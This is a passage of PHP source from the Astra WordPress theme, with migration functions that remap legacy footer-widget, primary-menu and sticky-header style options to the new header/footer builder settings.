			'above_3' => array(),
			'above_4' => array(),
			'above_5' => array(),
		);

		switch ( $footer_widget_layouts ) {
			case 'layout-1':
				$column = '1';
				$layout = array(
					'desktop' => 'full',
					'tablet'  => 'full',
					'mobile'  => 'full',
				);
				$items  = array(
					'above_1' => array( 'widget-1' ),
					'above_2' => array(),
					'above_3' => array(),
					'above_4' => array(),
					'above_5' => array(),
				);
				break;

			case 'layout-2':
				$column = '2';
				$layout = array(
					'desktop' => '2-equal',
					'tablet'  => '2-equal',
					'mobile'  => '2-equal',
				);
				$items  = array(
					'above_1' => array( 'widget-1' ),
					'above_2' => array( 'widget-2' ),
					'above_3' => array(),
					'above_4' => array(),
					'above_5' => array(),
				);
				break;

			case 'layout-3':
				$column = '3';
				$layout = array(
					'desktop' => '3-equal',
					'tablet'  => 'full',
					'mobile'  => 'full',
				);
				$items  = array(
					'above_1' => array( 'widget-1' ),
					'above_2' => array( 'widget-2' ),
					'above_3' => array( 'widget-3' ),
					'above_4' => array(),
					'above_5' => array(),
				);
				break;

			case 'layout-4':
				$column = '4';
				$layout = array(
					'desktop' => '4-equal',
					'tablet'  => 'full',
					'mobile'  => 'full',
				);
				$items  = array(
					'above_1' => array( 'widget-1' ),
					'above_2' => array( 'widget-2' ),
					'above_3' => array( 'widget-3' ),
					'above_4' => array( 'widget-4' ),
					'above_5' => array(),
				);
				break;

			case 'layout-5':
				$column = '5';
				$layout = array(
					'desktop' => '5-equal',
					'tablet'  => 'full',
					'mobile'  => 'full',
				);
				$items  = array(
					'above_1' => array( 'widget-1' ),
					'above_2' => array( 'widget-2' ),
					'above_3' => array( 'widget-3' ),
					'above_4' => array( 'widget-4' ),
					'above_5' => array( 'widget-5' ),
				);
				break;

			case 'layout-6':
			case 'layout-7':
				$column = '3';
				$layout = array(
					'desktop' => '3-lheavy',
					'tablet'  => 'full',
					'mobile'  => 'full',
				);
				$items  = array(
					'above_1' => array( 'widget-1' ),
					'above_2' => array( 'widget-2' ),
					'above_3' => array( 'widget-3' ),
					'above_4' => array(),
					'above_5' => array(),
				);
				break;
		}

		$theme_options['hba-footer-column'] = $column;
		$theme_options['hba-footer-layout'] = $layout;
		if ( isset( $theme_options['footer-desktop-items'] ) ) {
			$theme_options['footer-desktop-items']['above'] = $items;
		}

		for ( $i = 1; $i <= $column; $i++ ) {

			if ( isset( $theme_options['footer-adv-wgt-title-color'] ) ) {
				$theme_options[ 'footer-widget-' . $i . '-title-color' ] = array(
					'desktop' => $theme_options['footer-adv-wgt-title-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}

			if ( isset( $theme_options['footer-adv-text-color'] ) ) {
				$theme_options[ 'footer-widget-' . $i . '-color' ] = array(
					'desktop' => $theme_options['footer-adv-text-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}

			if ( isset( $theme_options['footer-adv-link-color'] ) ) {
				$theme_options[ 'footer-widget-' . $i . '-link-color' ] = array(
					'desktop' => $theme_options['footer-adv-link-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}

			if ( isset( $theme_options['footer-adv-link-h-color'] ) ) {
				$theme_options[ 'footer-widget-' . $i . '-link-h-color' ] = array(
					'desktop' => $theme_options['footer-adv-link-h-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}


			if ( isset( $theme_options['footer-adv-wgt-title-font-size'] ) ) {
				$theme_options[ 'footer-widget-' . $i . '-font-size' ] = $theme_options['footer-adv-wgt-title-font-size'];
			}

			if ( isset( $theme_options['footer-adv-wgt-title-font-weight'] ) ) {
				$theme_options[ 'footer-widget-' . $i . '-font-weight' ] = $theme_options['footer-adv-wgt-title-font-weight'];
			}

			if ( isset( $theme_options['footer-adv-wgt-title-line-height'] ) ) {
				$theme_options[ 'footer-widget-' . $i . '-line-height' ] = $theme_options['footer-adv-wgt-title-line-height'];
			}

			if ( isset( $theme_options['footer-adv-wgt-title-font-family'] ) ) {
				$theme_options[ 'footer-widget-' . $i . '-font-family' ] = $theme_options['footer-adv-wgt-title-font-family'];
			}

			if ( isset( $theme_options['footer-adv-wgt-title-text-transform'] ) ) {
				$theme_options[ 'footer-widget-' . $i . '-text-transform' ] = $theme_options['footer-adv-wgt-title-text-transform'];
			}


			if ( isset( $theme_options['footer-adv-wgt-content-font-size'] ) ) {
				$theme_options[ 'footer-widget-' . $i . '-content-font-size' ] = $theme_options['footer-adv-wgt-content-font-size'];
			}

			if ( isset( $theme_options['footer-adv-wgt-content-font-weight'] ) ) {
				$theme_options[ 'footer-widget-' . $i . '-content-font-weight' ] = $theme_options['footer-adv-wgt-content-font-weight'];
			}

			if ( isset( $theme_options['footer-adv-wgt-content-line-height'] ) ) {
				$theme_options[ 'footer-widget-' . $i . '-content-line-height' ] = $theme_options['footer-adv-wgt-content-line-height'];
			}

			if ( isset( $theme_options['footer-adv-wgt-content-font-family'] ) ) {
				$theme_options[ 'footer-widget-' . $i . '-content-font-family' ] = $theme_options['footer-adv-wgt-content-font-family'];
			}

			if ( isset( $theme_options['footer-adv-wgt-content-text-transform'] ) ) {
				$theme_options[ 'footer-widget-' . $i . '-content-text-transform' ] = $theme_options['footer-adv-wgt-content-text-transform'];
			}

			if ( isset( $widget_options[ 'advanced-footer-widget-' . $i ] ) ) {
				$widget_options[ 'footer-widget-' . $i ] = $widget_options[ 'advanced-footer-widget-' . $i ];
			}
		}
	}

	if ( isset( $theme_options['footer-adv-border-width'] ) ) {
		$theme_options['hba-footer-separator'] = $theme_options['footer-adv-border-width'];
	}

	if ( isset( $theme_options['footer-adv-border-color'] ) ) {
		$theme_options['hba-footer-top-border-color'] = $theme_options['footer-adv-border-color'];
	}

	if ( isset( $theme_options['footer-adv-bg-obj'] ) ) {
		$theme_options['hba-footer-bg-obj-responsive'] = array(
			'desktop' => $theme_options['footer-adv-bg-obj'],
			'tablet'  => '',
			'mobile'  => '',
		);
	}

	if ( isset( $theme_options['footer-adv-area-padding'] ) ) {
		$theme_options['section-above-footer-builder-padding'] = $theme_options['footer-adv-area-padding'];
	}

	return array(
		'theme_options'  => $theme_options,
		'used_elements'  => $used_elements,
		'widget_options' => $widget_options,
	);
}

/**
 * Header Footer builder - Migration of Primary Menu.
 *
 * @since 3.0.0
 * @param array $theme_options Theme options.
 * @param array $used_elements Used Elements array.
 * @param array $widget_options Widget options.
 * @return array
 */
function astra_primary_menu_builder_migration( $theme_options, $used_elements, $widget_options ) {

	/**
	 * Primary Menu.
	 */
	if ( isset( $theme_options['header-main-submenu-container-animation'] ) ) {
		$theme_options['header-menu1-submenu-container-animation'] = $theme_options['header-main-submenu-container-animation'];
	}
	if ( isset( $theme_options['primary-submenu-border'] ) ) {
		$theme_options['header-menu1-submenu-border'] = $theme_options['primary-submenu-border'];
	}
	if ( isset( $theme_options['primary-submenu-b-color'] ) ) {
		$theme_options['header-menu1-submenu-b-color'] = $theme_options['primary-submenu-b-color'];
	}
	if ( isset( $theme_options['primary-submenu-item-border'] ) ) {
		$theme_options['header-menu1-submenu-item-border'] = $theme_options['primary-submenu-item-border'];
	}
	if ( isset( $theme_options['primary-submenu-item-b-color'] ) ) {
		$theme_options['header-menu1-submenu-item-b-color'] = $theme_options['primary-submenu-item-b-color'];
	}

	/**
	 * Primary Menu.
	 */

	if ( isset( $theme_options['primary-menu-color-responsive'] ) ) {
		$theme_options['header-menu1-color-responsive'] = $theme_options['primary-menu-color-responsive'];
	}

	if ( isset( $theme_options['primary-menu-bg-obj-responsive'] ) ) {
		$theme_options['header-menu1-bg-obj-responsive'] = $theme_options['primary-menu-bg-obj-responsive'];
	}


	if ( isset( $theme_options['primary-menu-text-h-color-responsive'] ) ) {
		$theme_options['header-menu1-h-color-responsive'] = $theme_options['primary-menu-text-h-color-responsive'];
	}

	if ( isset( $theme_options['primary-menu-h-bg-color-responsive'] ) ) {
		$theme_options['header-menu1-h-bg-color-responsive'] = $theme_options['primary-menu-h-bg-color-responsive'];
	}


	if ( isset( $theme_options['primary-menu-a-color-responsive'] ) ) {
		$theme_options['header-menu1-a-color-responsive'] = $theme_options['primary-menu-a-color-responsive'];
	}

	if ( isset( $theme_options['primary-menu-a-bg-color-responsive'] ) ) {
		$theme_options['header-menu1-a-bg-color-responsive'] = $theme_options['primary-menu-a-bg-color-responsive'];
	}


	if ( isset( $theme_options['font-size-primary-menu'] ) ) {
		$theme_options['header-menu1-font-size'] = $theme_options['font-size-primary-menu'];
	}

	if ( isset( $theme_options['font-weight-primary-menu'] ) ) {
		$theme_options['header-menu1-font-weight'] = $theme_options['font-weight-primary-menu'];
	}

	if ( isset( $theme_options['line-height-primary-menu'] ) ) {
		$theme_options['header-menu1-line-height'] = $theme_options['line-height-primary-menu'];
	}

	if ( isset( $theme_options['font-family-primary-menu'] ) ) {
		$theme_options['header-menu1-font-family'] = $theme_options['font-family-primary-menu'];
	}

	if ( isset( $theme_options['text-transform-primary-menu'] ) ) {
		$theme_options['header-menu1-text-transform'] = $theme_options['text-transform-primary-menu'];
	}

	if ( isset( $theme_options['primary-menu-spacing'] ) ) {
		$theme_options['header-menu1-menu-spacing'] = $theme_options['primary-menu-spacing'];
	}

	// Primary Menu - Submenu.
	if ( isset( $theme_options['primary-submenu-color-responsive'] ) ) {
		$theme_options['header-menu1-submenu-color-responsive'] = $theme_options['primary-submenu-color-responsive'];
	}

	if ( isset( $theme_options['primary-submenu-bg-color-responsive'] ) ) {
		$theme_options['header-menu1-submenu-bg-color-responsive'] = $theme_options['primary-submenu-bg-color-responsive'];
	}

	if ( isset( $theme_options['primary-submenu-h-color-responsive'] ) ) {
		$theme_options['header-menu1-submenu-h-color-responsive'] = $theme_options['primary-submenu-h-color-responsive'];
	}

	if ( isset( $theme_options['primary-submenu-h-bg-color-responsive'] ) ) {
		$theme_options['header-menu1-submenu-h-bg-color-responsive'] = $theme_options['primary-submenu-h-bg-color-responsive'];
	}

	if ( isset( $theme_options['primary-submenu-a-color-responsive'] ) ) {
		$theme_options['header-menu1-submenu-a-color-responsive'] = $theme_options['primary-submenu-a-color-responsive'];
	}

	if ( isset( $theme_options['primary-submenu-a-bg-color-responsive'] ) ) {
		$theme_options['header-menu1-submenu-a-bg-color-responsive'] = $theme_options['primary-submenu-a-bg-color-responsive'];
	}

	if ( isset( $theme_options['font-size-primary-dropdown-menu'] ) ) {
		$theme_options['header-font-size-menu1-sub-menu'] = $theme_options['font-size-primary-dropdown-menu'];
	}

	if ( isset( $theme_options['font-weight-primary-dropdown-menu'] ) ) {
		$theme_options['header-font-weight-menu1-sub-menu'] = $theme_options['font-weight-primary-dropdown-menu'];
	}

	if ( isset( $theme_options['line-height-primary-dropdown-menu'] ) ) {
		$theme_options['header-line-height-menu1-sub-menu'] = $theme_options['line-height-primary-dropdown-menu'];
	}

	if ( isset( $theme_options['font-family-primary-dropdown-menu'] ) ) {
		$theme_options['header-font-family-menu1-sub-menu'] = $theme_options['font-family-primary-dropdown-menu'];
	}

	if ( isset( $theme_options['text-transform-primary-dropdown-menu'] ) ) {
		$theme_options['header-text-transform-menu1-sub-menu'] = $theme_options['text-transform-primary-dropdown-menu'];
	}

	if ( isset( $theme_options['primary-submenu-spacing'] ) ) {
		$theme_options['header-menu1-submenu-spacing'] = $theme_options['primary-submenu-spacing'];
	}

	// Primary Menu - Mega Menu.
	if ( isset( $theme_options['primary-header-megamenu-heading-color'] ) ) {
		$theme_options['header-menu1-header-megamenu-heading-color'] = $theme_options['primary-header-megamenu-heading-color'];
	}

	if ( isset( $theme_options['primary-header-megamenu-heading-h-color'] ) ) {
		$theme_options['header-menu1-header-megamenu-heading-h-color'] = $theme_options['primary-header-megamenu-heading-h-color'];
	}

	if ( isset( $theme_options['primary-header-megamenu-heading-font-size'] ) ) {
		$theme_options['header-menu1-megamenu-heading-font-size'] = $theme_options['primary-header-megamenu-heading-font-size'];
	}

	if ( isset( $theme_options['primary-header-megamenu-heading-font-weight'] ) ) {
		$theme_options['header-menu1-megamenu-heading-font-weight'] = $theme_options['primary-header-megamenu-heading-font-weight'];
	}

	if ( isset( $theme_options['primary-header-megamenu-heading-line-height'] ) ) {
		$theme_options['header-menu1-megamenu-heading-line-height'] = $theme_options['primary-header-megamenu-heading-line-height'];
	}

	if ( isset( $theme_options['primary-header-megamenu-heading-font-family'] ) ) {
		$theme_options['header-menu1-megamenu-heading-font-family'] = $theme_options['primary-header-megamenu-heading-font-family'];
	}

	if ( isset( $theme_options['primary-header-megamenu-heading-text-transform'] ) ) {
		$theme_options['header-menu1-megamenu-heading-text-transform'] = $theme_options['primary-header-megamenu-heading-text-transform'];
	}

	if ( isset( $theme_options['primary-header-megamenu-heading-space'] ) ) {
		$theme_options['header-menu1-megamenu-heading-space'] = $theme_options['primary-header-megamenu-heading-space'];
	}


	/**
	 * Primary Menu - Mobile.
	 */
	if ( isset( $theme_options['header-main-menu-label'] ) ) {
		$theme_options['mobile-header-menu-label'] = $theme_options['header-main-menu-label'];
	}

	if ( isset( $theme_options['mobile-header-toggle-btn-style-color'] ) ) {
		$theme_options['mobile-header-toggle-btn-color']    = $theme_options['mobile-header-toggle-btn-style-color'];
		$theme_options['mobile-header-toggle-border-color'] = $theme_options['mobile-header-toggle-btn-style-color'];
	}

	if ( isset( $theme_options['mobile-header-toggle-btn-border-radius'] ) ) {
		$theme_options['mobile-header-toggle-border-radius'] = $theme_options['mobile-header-toggle-btn-border-radius'];
	}

	return array(
		'theme_options'  => $theme_options,
		'used_elements'  => $used_elements,
		'widget_options' => $widget_options,
	);
}

/**
 * Header Footer builder - Migration of Sticky Header.
 *
 * @since 3.0.0
 * @param array $theme_options Theme options.
 * @param array $used_elements Used Elements array.
 * @param array $widget_options Widget options.
 * @return array
 */
function astra_sticky_header_builder_migration( $theme_options, $used_elements, $widget_options ) {

	// Menu.
	$is_menu_in_primary = false;
	$is_menu_in_above   = false;
	$is_menu_in_below   = false;

	if ( isset( $theme_options['header-desktop-items']['primary'] ) ) {
		foreach ( $theme_options['header-desktop-items']['primary'] as $zone ) {
			if ( false !== array_search( 'menu-1', $zone ) ) {
				$is_menu_in_primary = true;
			}
		}
	}

	if ( isset( $theme_options['header-desktop-items']['above'] ) ) {
		foreach ( $theme_options['header-desktop-items']['above'] as $zone ) {
			if ( false !== array_search( 'menu-1', $zone ) ) {
				$is_menu_in_above = true;
			}
		}
	}

	if ( isset( $theme_options['header-desktop-items']['below'] ) ) {
		foreach ( $theme_options['header-desktop-items']['below'] as $zone ) {
			if ( false !== array_search( 'menu-1', $zone ) ) {
				$is_menu_in_below = true;
			}
		}
	}

	if ( $is_menu_in_primary ) {

		// Menu.
		// Normal.
		if ( isset( $theme_options['sticky-header-menu-color-responsive'] ) ) {
			$theme_options['sticky-header-menu1-color-responsive'] = $theme_options['sticky-header-menu-color-responsive'];
		}

		if ( isset( $theme_options['sticky-header-menu-bg-color-responsive'] ) ) {
			$theme_options['sticky-header-menu1-bg-obj-responsive'] = $theme_options['sticky-header-menu-bg-color-responsive'];
		}


		// Hover.
		if ( isset( $theme_options['sticky-header-menu-h-color-responsive'] ) ) {
			$theme_options['sticky-header-menu1-h-color-responsive'] = $theme_options['sticky-header-menu-h-color-responsive'];
		}

		if ( isset( $theme_options['sticky-header-menu-h-a-bg-color-responsive'] ) ) {
			$theme_options['sticky-header-menu1-h-bg-color-responsive'] = $theme_options['sticky-header-menu-h-a-bg-color-responsive'];
		}


		// Active.
		if ( isset( $theme_options['sticky-header-menu-h-color-responsive'] ) ) {
			$theme_options['sticky-header-menu1-a-color-responsive'] = $theme_options['sticky-header-menu-h-color-responsive'];
		}

		if ( isset( $theme_options['sticky-header-menu-h-a-bg-color-responsive'] ) ) {
			$theme_options['sticky-header-menu1-a-bg-color-responsive'] = $theme_options['sticky-header-menu-h-a-bg-color-responsive'];
		}


		// Submenu.

		// Normal.
		if ( isset( $theme_options['sticky-header-submenu-color-responsive'] ) ) {
			$theme_options['sticky-header-menu1-submenu-color-responsive'] = $theme_options['sticky-header-submenu-color-responsive'];
		}

		if ( isset( $theme_options['sticky-header-submenu-bg-color-responsive'] ) ) {
			$theme_options['sticky-header-menu1-submenu-bg-color-responsive'] = $theme_options['sticky-header-submenu-bg-color-responsive'];
		}


		// Hover.
		if ( isset( $theme_options['sticky-header-submenu-h-color-responsive'] ) ) {
			$theme_options['sticky-header-menu1-submenu-h-color-responsive'] = $theme_options['sticky-header-submenu-h-color-responsive'];
		}

		if ( isset( $theme_options['sticky-header-submenu-h-a-bg-color-responsive'] ) ) {
			$theme_options['sticky-header-menu1-submenu-h-bg-color-responsive'] = $theme_options['sticky-header-submenu-h-a-bg-color-responsive'];
		}


		// Active.
		if ( isset( $theme_options['sticky-header-submenu-h-color-responsive'] ) ) {
			$theme_options['sticky-header-menu1-submenu-a-color-responsive'] = $theme_options['sticky-header-submenu-h-color-responsive'];
		}

		if ( isset( $theme_options['sticky-header-submenu-h-a-bg-color-responsive'] ) ) {
			$theme_options['sticky-header-menu1-submenu-a-bg-color-responsive'] = $theme_options['sticky-header-submenu-h-a-bg-color-responsive'];
		}


		// Mega menu.

		// Normal.
		if ( isset( $theme_options['sticky-primary-header-megamenu-heading-color'] ) ) {
			$theme_options['sticky-header-menu1-header-megamenu-heading-color'] = $theme_options['sticky-primary-header-megamenu-heading-color'];
		}


		// Hover.
		if ( isset( $theme_options['sticky-primary-header-megamenu-heading-h-color'] ) ) {
			$theme_options['sticky-header-menu1-header-megamenu-heading-h-color'] = $theme_options['sticky-primary-header-megamenu-heading-h-color'];
		}
	}

	if ( $is_menu_in_above ) {

		// Menu.

		// Normal.
		if ( isset( $theme_options['sticky-above-header-menu-color-responsive'] ) ) {
			$theme_options['sticky-header-menu3-color-responsive'] = $theme_options['sticky-above-header-menu-color-responsive'];
		}

		if ( isset( $theme_options['sticky-above-header-menu-bg-color-responsive'] ) ) {
			$theme_options['sticky-header-menu3-bg-obj-responsive'] = $theme_options['sticky-above-header-menu-bg-color-responsive'];
		}


		// Hover.
		if ( isset( $theme_options['sticky-above-header-menu-h-color-responsive'] ) ) {
			$theme_options['sticky-header-menu3-h-color-responsive'] = $theme_options['sticky-above-header-menu-h-color-responsive'];
		}

		if ( isset( $theme_options['sticky-above-header-menu-h-a-bg-color-responsive'] ) ) {
			$theme_options['sticky-header-menu3-h-bg-color-responsive'] = $theme_options['sticky-above-header-menu-h-a-bg-color-responsive'];
		}


		// Active.
		if ( isset( $theme_options['sticky-above-header-menu-h-color-responsive'] ) ) {
			$theme_options['sticky-header-menu3-a-color-responsive'] = $theme_options['sticky-above-header-menu-h-color-responsive'];
		}

		if ( isset( $theme_options['sticky-above-header-menu-h-a-bg-color-responsive'] ) ) {
			$theme_options['sticky-header-menu3-a-bg-color-responsive'] = $theme_options['sticky-above-header-menu-h-a-bg-color-responsive'];
		}


		// Submenu.

		// Normal.
		if ( isset( $theme_options['sticky-above-header-submenu-color-responsive'] ) ) {
			$theme_options['sticky-header-menu3-submenu-color-responsive'] = $theme_options['sticky-above-header-submenu-color-responsive'];
		}

		if ( isset( $theme_options['sticky-above-header-submenu-bg-color-responsive'] ) ) {
			$theme_options['sticky-header-menu3-submenu-bg-obj-responsive'] = $theme_options['sticky-above-header-submenu-bg-color-responsive'];
		}


		// Hover.
		if ( isset( $theme_options['sticky-above-header-submenu-h-color-responsive'] ) ) {
			$theme_options['sticky-header-menu3-submenu-h-color-responsive'] = $theme_options['sticky-above-header-submenu-h-color-responsive'];
		}

		if ( isset( $theme_options['sticky-above-header-submenu-h-a-bg-color-responsive'] ) ) {
			$theme_options['sticky-header-menu3-submenu-h-bg-color-responsive'] = $theme_options['sticky-above-header-submenu-h-a-bg-color-responsive'];
		}


		// Active.
		if ( isset( $theme_options['sticky-above-header-submenu-h-color-responsive'] ) ) {
			$theme_options['sticky-header-menu3-submenu-a-color-responsive'] = $theme_options['sticky-above-header-submenu-h-color-responsive'];
		}

		if ( isset( $theme_options['sticky-above-header-submenu-h-a-bg-color-responsive'] ) ) {
			$theme_options['sticky-header-menu3-submenu-a-bg-color-responsive'] = $theme_options['sticky-above-header-submenu-h-a-bg-color-responsive'];
		}


		// Mega menu.

		// Normal.
		if ( isset( $theme_options['sticky-above-header-megamenu-heading-color'] ) ) {
			$theme_options['sticky-header-menu3-header-megamenu-heading-color'] = $theme_options['sticky-above-header-megamenu-heading-color'];
		}


		// Hover.
		if ( isset( $theme_options['sticky-above-header-megamenu-heading-h-color'] ) ) {
			$theme_options['sticky-header-menu3-header-megamenu-heading-h-color'] = $theme_options['sticky-above-header-megamenu-heading-h-color'];
		}
	}

	if ( $is_menu_in_below ) {

		// Menu.

		// Normal.
		if ( isset( $theme_options['sticky-below-header-menu-color-responsive'] ) ) {
			$theme_options['sticky-header-menu2-color-responsive'] = $theme_options['sticky-below-header-menu-color-responsive'];
		}

		if ( isset( $theme_options['sticky-below-header-menu-bg-color-responsive'] ) ) {
			$theme_options['sticky-header-menu2-bg-obj-responsive'] = $theme_options['sticky-below-header-menu-bg-color-responsive'];
		}


		// Hover.
		if ( isset( $theme_options['sticky-below-header-menu-h-color-responsive'] ) ) {
			$theme_options['sticky-header-menu2-h-color-responsive'] = $theme_options['sticky-below-header-menu-h-color-responsive'];
		}

		if ( isset( $theme_options['sticky-below-header-menu-h-a-bg-color-responsive'] ) ) {
			$theme_options['sticky-header-menu2-h-bg-color-responsive'] = $theme_options['sticky-below-header-menu-h-a-bg-color-responsive'];
		}


		// Active.
		if ( isset( $theme_options['sticky-below-header-menu-h-color-responsive'] ) ) {
			$theme_options['sticky-header-menu2-a-color-responsive'] = $theme_options['sticky-below-header-menu-h-color-responsive'];
		}

		if ( isset( $theme_options['sticky-below-header-menu-h-a-bg-color-responsive'] ) ) {
			$theme_options['sticky-header-menu2-a-bg-color-responsive'] = $theme_options['sticky-below-header-menu-h-a-bg-color-responsive'];
		}


		// Submenu.

		// Normal.
		if ( isset( $theme_options['sticky-below-header-submenu-color-responsive'] ) ) {
			$theme_options['sticky-header-menu2-submenu-color-responsive'] = $theme_options['sticky-below-header-submenu-color-responsive'];
		}

		if ( isset( $theme_options['sticky-below-header-submenu-bg-color-responsive'] ) ) {
			$theme_options['sticky-header-menu2-submenu-bg-obj-responsive'] = $theme_options['sticky-below-header-submenu-bg-color-responsive'];
		}


		// Hover.
		if ( isset( $theme_options['sticky-below-header-submenu-h-color-responsive'] ) ) {
			$theme_options['sticky-header-menu2-submenu-h-color-responsive'] = $theme_options['sticky-below-header-submenu-h-color-responsive'];
		}

		if ( isset( $theme_options['sticky-below-header-submenu-h-a-bg-color-responsive'] ) ) {
			$theme_options['sticky-header-menu2-submenu-h-bg-color-responsive'] = $theme_options['sticky-below-header-submenu-h-a-bg-color-responsive'];
		}


		// Active.
		if ( isset( $theme_options['sticky-below-header-submenu-h-color-responsive'] ) ) {
			$theme_options['sticky-header-menu2-submenu-a-color-responsive'] = $theme_options['sticky-below-header-submenu-h-color-responsive'];
		}

		if ( isset( $theme_options['sticky-below-header-submenu-h-a-bg-color-responsive'] ) ) {
			$theme_options['sticky-header-menu2-submenu-a-bg-color-responsive'] = $theme_options['sticky-below-header-submenu-h-a-bg-color-responsive'];
		}


		// Mega menu.

		// Normal.
		if ( isset( $theme_options['sticky-below-header-megamenu-heading-color'] ) ) {
			$theme_options['sticky-header-menu2-header-megamenu-heading-color'] = $theme_options['sticky-below-header-megamenu-heading-color'];
		}


		// Hover.
		if ( isset( $theme_options['sticky-below-header-megamenu-heading-h-color'] ) ) {
			$theme_options['sticky-header-menu2-header-megamenu-heading-h-color'] = $theme_options['sticky-below-header-megamenu-heading-h-color'];
		}
	}

	// Sticky Site Title.

	// Normal.
	if ( isset( $theme_options['sticky-header-color-site-title-responsive']['desktop'] ) ) {
		$theme_options['sticky-header-builder-site-title-color'] = $theme_options['sticky-header-color-site-title-responsive']['desktop'];
	}


	// Hover.
	if ( isset( $theme_options['sticky-header-color-h-site-title-responsive']['desktop'] ) ) {
		$theme_options['sticky-header-builder-site-title-h-color'] = $theme_options['sticky-header-color-h-site-title-responsive']['desktop'];
	}


	// Sticky Site Tagline.
	if ( isset( $theme_options['sticky-header-color-site-tagline-responsive']['desktop'] ) ) {
		$theme_options['sticky-header-builder-site-tagline-color'] = $theme_options['sticky-header-color-site-tagline-responsive']['desktop'];
	}

	// Sticky Above/Below Header HTML.
	$is_html_in_above = false;
	$is_html_in_below = false;

	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
	foreach ( $theme_options['header-desktop-items']['above'] as $zone ) {
		/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
		if ( false !== array_search( 'html-3', $zone ) ) {
			$is_html_in_above = true;
		}
	}

	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
	foreach ( $theme_options['header-desktop-items']['below'] as $zone ) {
		/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
		if ( false !== array_search( 'html-2', $zone ) ) {
			$is_html_in_below = true;
		}
	}

	if ( $is_html_in_above ) {

		if ( isset( $theme_options['sticky-above-header-content-section-text-color-responsive']['desktop'] ) ) {
			$theme_options['sticky-header-html-3color'] = $theme_options['sticky-above-header-content-section-text-color-responsive']['desktop'];
		}
	}
	if ( $is_html_in_below ) {

		if ( isset( $theme_options['sticky-below-header-content-section-text-color-responsive']['desktop'] ) ) {
			$theme_options['sticky-header-html-2color'] = $theme_options['sticky-below-header-content-section-text-color-responsive']['desktop'];
		}
	}

	// Sticky Above/Below Header Search.
	$is_search_in_above = false;
	$is_search_in_below = false;

	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
	foreach ( $theme_options['header-desktop-items']['above'] as $zone ) {
		/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
		if ( false !== array_search( 'search', $zone ) ) {
			$is_search_in_above = true;
		}
	}

	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
	foreach ( $theme_options['header-desktop-items']['below'] as $zone ) {
		/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
		if ( false !== array_search( 'search', $zone ) ) {
			$is_search_in_below = true;
		}
	}

	if ( $is_search_in_above ) {

		if ( isset( $theme_options['sticky-above-header-content-section-link-color-responsive']['desktop'] ) ) {
			$theme_options['sticky-header-search-icon-color'] = $theme_options['sticky-above-header-content-section-link-color-responsive']['desktop'];
		}
	}
	if ( $is_search_in_below ) {

		if ( isset( $theme_options['sticky-below-header-content-section-link-color-responsive']['desktop'] ) ) {
			$theme_options['sticky-header-search-icon-color'] = $theme_options['sticky-below-header-content-section-link-color-responsive']['desktop'];
		}
	}

	// Sticky Above/Below Header Widget.
	$is_widget_in_above = false;
	$is_widget_in_below = false;

	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
	foreach ( $theme_options['header-desktop-items']['above'] as $zone ) {
		/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
		if ( false !== array_search( 'widget-3', $zone ) ) {
			$is_widget_in_above = true;
		}
	}
	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
	foreach ( $theme_options['header-desktop-items']['below'] as $zone ) {
		/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
		if ( false !== array_search( 'widget-2', $zone ) ) {
			$is_widget_in_below = true;
		}
	}

	if ( $is_widget_in_above ) {

		if ( isset( $theme_options['sticky-above-header-content-section-text-color-responsive']['desktop'] ) ) {
			$theme_options['sticky-header-widget-3-title-color'] = $theme_options['sticky-above-header-content-section-text-color-responsive']['desktop'];
		}

		if ( isset( $theme_options['sticky-above-header-content-section-text-color-responsive']['desktop'] ) ) {
			$theme_options['sticky-header-widget-3-color'] = $theme_options['sticky-above-header-content-section-text-color-responsive']['desktop'];
		}

		if ( isset( $theme_options['sticky-above-header-content-section-link-color-responsive']['desktop'] ) ) {
			$theme_options['sticky-header-widget-3-link-color'] = $theme_options['sticky-above-header-content-section-link-color-responsive']['desktop'];
		}

		if ( isset( $theme_options['sticky-above-header-content-section-link-h-color-responsive']['desktop'] ) ) {
			$theme_options['sticky-header-widget-3-link-h-color'] = $theme_options['sticky-above-header-content-section-link-h-color-responsive']['desktop'];
		}
	}
	if ( $is_widget_in_below ) {

		if ( isset( $theme_options['sticky-below-header-content-section-text-color-responsive']['desktop'] ) ) {
			$theme_options['sticky-header-widget-2-title-color'] = $theme_options['sticky-below-header-content-section-text-color-responsive']['desktop'];
		}

		if ( isset( $theme_options['sticky-below-header-content-section-text-color-responsive']['desktop'] ) ) {
			$theme_options['sticky-header-widget-2-color'] = $theme_options['sticky-below-header-content-section-text-color-responsive']['desktop'];
		}

		if ( isset( $theme_options['sticky-below-header-content-section-link-color-responsive']['desktop'] ) ) {
			$theme_options['sticky-header-widget-2-link-color'] = $theme_options['sticky-below-header-content-section-link-color-responsive']['desktop'];
		}

		if ( isset( $theme_options['sticky-below-header-content-section-link-h-color-responsive']['desktop'] ) ) {
			$theme_options['sticky-header-widget-2-link-h-color'] = $theme_options['sticky-below-header-content-section-link-h-color-responsive']['desktop'];
		}
	}

	return array(
		'theme_options'  => $theme_options,
		'used_elements'  => $used_elements,
		'widget_options' => $widget_options,
	);
}
